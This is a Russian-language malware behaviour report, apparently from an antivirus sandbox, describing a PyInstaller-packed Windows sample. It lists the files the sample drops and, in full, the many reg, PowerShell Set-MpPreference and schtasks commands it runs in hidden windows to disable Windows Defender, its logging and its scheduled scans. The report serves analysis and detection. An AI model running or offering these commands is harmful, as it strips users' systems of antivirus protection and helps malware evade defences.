Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\_mei24322\vcruntime140.dll
- %TEMP%\_mei24322\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei24322\libcrypto-1_1.dll
- %TEMP%\_mei24322\main.exe.manifest
- %TEMP%\_mei24322\base_library.zip
- %TEMP%\_mei24322\mfc140u.dll
- %TEMP%\_mei24322\pyexpat.pyd
- %TEMP%\_mei24322\python37.dll
- %TEMP%\_mei24322\pythoncom37.dll
- %TEMP%\_mei24322\pywintypes37.dll
- %TEMP%\_mei24322\select.pyd
- %TEMP%\_mei24322\ucrtbase.dll
- %TEMP%\_mei24322\unicodedata.pyd
- %TEMP%\_mei24322\win32api.pyd
- %TEMP%\_mei24322\win32com\shell\shell.pyd
- %TEMP%\_mei24322\win32evtlog.pyd
- %TEMP%\_mei24322\win32trace.pyd
- %TEMP%\_mei24322\win32ui.pyd
- %TEMP%\_mei24322\include\pyconfig.h
- %TEMP%\_mei24322\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei24322\libssl-1_1.dll
- %TEMP%\_mei24322\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei24322\_bz2.pyd
- %TEMP%\_mei24322\_ctypes.pyd
- %TEMP%\_mei24322\_hashlib.pyd
- %TEMP%\_mei24322\_lzma.pyd
- %TEMP%\_mei24322\_queue.pyd
- %TEMP%\_mei24322\_socket.pyd
- %TEMP%\_mei24322\_ssl.pyd
- %TEMP%\_mei24322\_win32sysloader.pyd
- %TEMP%\_mei24322\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei24322\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei24322\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei24322\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei24322\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei24322\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\hgaz6oz6
Удаляет следующие файлы
- %TEMP%\hgaz6oz6
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIOAVProtection $true -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisablePrivacyMode $true -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableArchiveScanning $true -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableScriptScanning $true -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -MAPSReporting 0 -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction Ignore;' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction Ignore;' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIOAVProtection $true -ErrorAction Ignore;
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction Ignore;
- '<SYSTEM32>\reg.exe' delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableArchiveScanning $true -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0 -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisablePrivacyMode $true -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableArchiveScanning $true -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisablePrivacyMode $true -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableScriptScanning $true -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction Ignore;
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c powershell Set-MpPreference -MAPSReporting 0 -ErrorAction Ignore;
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
- '<SYSTEM32>\cmd.exe' /c schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction Ignore;
